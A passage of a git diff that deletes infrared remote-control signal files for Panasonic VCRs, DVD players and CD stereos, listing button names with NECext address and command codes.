-protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir deleted file mode 100644 index 6d3d43d0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 04 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 0A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: AUDIO_OUT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 35 00 00 00 -# -name: AV_LINK -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 36 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 49 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 56 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 57 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 58 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 66 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B4 00 00 00 -# -name: INPUT_SEL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: C0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir deleted file mode 100644 index 5fc7ac091..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: REV.PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0B 00 00 00 -# -name: STILL-ADV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3B 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 40 00 00 00 -# -name: TIME-SEARCH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 44 00 00 00 -# -name: WRITE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4B 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4C 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 53 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: REMAIN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 55 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 56 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 81 00 00 00 -# -name: SEARCH+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8E 00 00 00 -# -name: SEARCH- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8F 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 91 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir deleted file mode 100644 index 6fb0d4524..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: pause/still -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: jogstep+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: jogstep- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3B 00 00 00 -# -name: vtr -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: time_search -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 44 00 00 00 -# -name: memory/repeat/search -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 53 00 00 00 -# -name: reset/index -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: clock/counter -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 56 00 00 00 -# -name: jog/shuttle_on -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 81 00 00 00 -# -name: jogrev- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 82 00 00 00 -# -name: jogfwd+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 83 00 00 00 -# -name: jogrev-- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 84 00 00 00 -# -name: jogfwd++ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 85 00 00 00 -# -name: jogrev--- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 86 00 00 00 -# -name: jogfwd+++ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 87 00 00 00 -# -name: jogrev---- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 88 00 00 00 -# -name: jogfwd++++ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 89 00 00 00 -# -name: jogstep-- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8A 00 00 00 -# -name: jogstep++ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8B 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 91 00 00 00 -# -name: jog/shuttle_off -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 93 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F0 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F1 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F2 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir deleted file mode 100644 index b8635bdc8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP2 -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 02 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 03 00 00 00 -# -name: ff2 -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 0A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 0A 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 62 00 00 00 -# -name: T2 -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 62 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 70 08 00 00 -command: 63 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 08 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir deleted file mode 100644 index fabb3fec8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: V.S.S -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir deleted file mode 100644 index 4c9692fec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: f_adv -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: x2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: vcr/tv -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir deleted file mode 100644 index fd8ad4b4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP/CLEAR -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AC 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: XBS -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B5 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B6 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 -# -name: TUNER_CH_UP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: TUNER_CH_DOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 -# -name: TUNER+ -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E9 00 00 00 -# -name: TUNER- -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir deleted file mode 100644 index 17e97bfba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: +vol -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: -vol -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: +P -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: -P -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir deleted file mode 100644 index a77ed916f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cdstop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: cdrev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: cdfwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 86 00 00 00 -# -name: cdplay -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 99 00 00 00 -# -name: +ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: tapestop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: taperev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: tapefwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A4 00 00 00 -# -name: tapeplayleft -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A5 00 00 00 -# -name: tapeplayright -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: deck -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir deleted file mode 100644 index d93c1c8b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: REV.PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0B 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3B 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: 